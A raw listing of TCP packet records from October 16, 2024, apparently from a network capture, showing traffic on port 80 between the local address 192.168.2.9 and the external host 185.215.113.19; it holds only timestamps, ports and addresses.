Oct 16, 2024 19:22:40.480210066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480210066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480214119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480309010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480309010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480309010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480513096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480513096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480513096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480530024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480535030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480564117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480564117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480586052 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480609894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480609894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480639935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480644941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480654955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480664015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480665922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480665922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480753899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480753899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480792999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480792999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480833054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480838060 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480842113 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.480859995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480859995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.480994940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481033087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481033087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481144905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481149912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481250048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481283903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481439114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481472015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481476068 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481487036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481506109 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481509924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481518984 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481563091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481563091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481563091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481581926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481586933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481617928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481677055 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481681108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481683016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481683016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481750965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.481847048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481901884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.481997013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482014894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482125044 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482130051 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482134104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482137918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482259989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482320070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482320070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482332945 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482475042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482578039 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482582092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482662916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482677937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482753038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482753038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482837915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482861996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482866049 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482875109 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482883930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.482904911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482904911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482904911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.482932091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483068943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483072996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483081102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483159065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483165026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483170033 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483179092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483182907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483234882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483256102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483261108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483285904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483285904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483285904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483406067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483406067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483417988 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483422995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483438969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483469009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483494997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483500004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483508110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483513117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483517885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.483547926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483547926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483818054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483818054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483818054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483863115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483863115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483910084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483910084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483946085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.483946085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484071016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484091043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484091997 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484141111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484141111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484194994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484282970 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484287977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484450102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484544992 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484549046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484709024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484709978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484729052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484729052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484836102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.484883070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484883070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484883070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484883070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.484906912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485222101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485373974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485529900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485697031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485866070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485943079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.485943079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486110926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486289024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486438036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486571074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486731052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.486908913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487056971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487057924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487227917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487227917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487227917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487227917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487229109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487229109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487229109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487229109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487377882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487379074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487379074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487445116 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487452030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487462044 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487466097 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487476110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487481117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487488985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487493992 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487503052 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487507105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487515926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487520933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487519026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.487525940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487535954 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487540007 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487549067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487552881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487569094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487577915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487581015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487588882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487593889 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487606049 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487610102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.487683058 CEST	80	49716	185.215.113.19	192.168.2.9
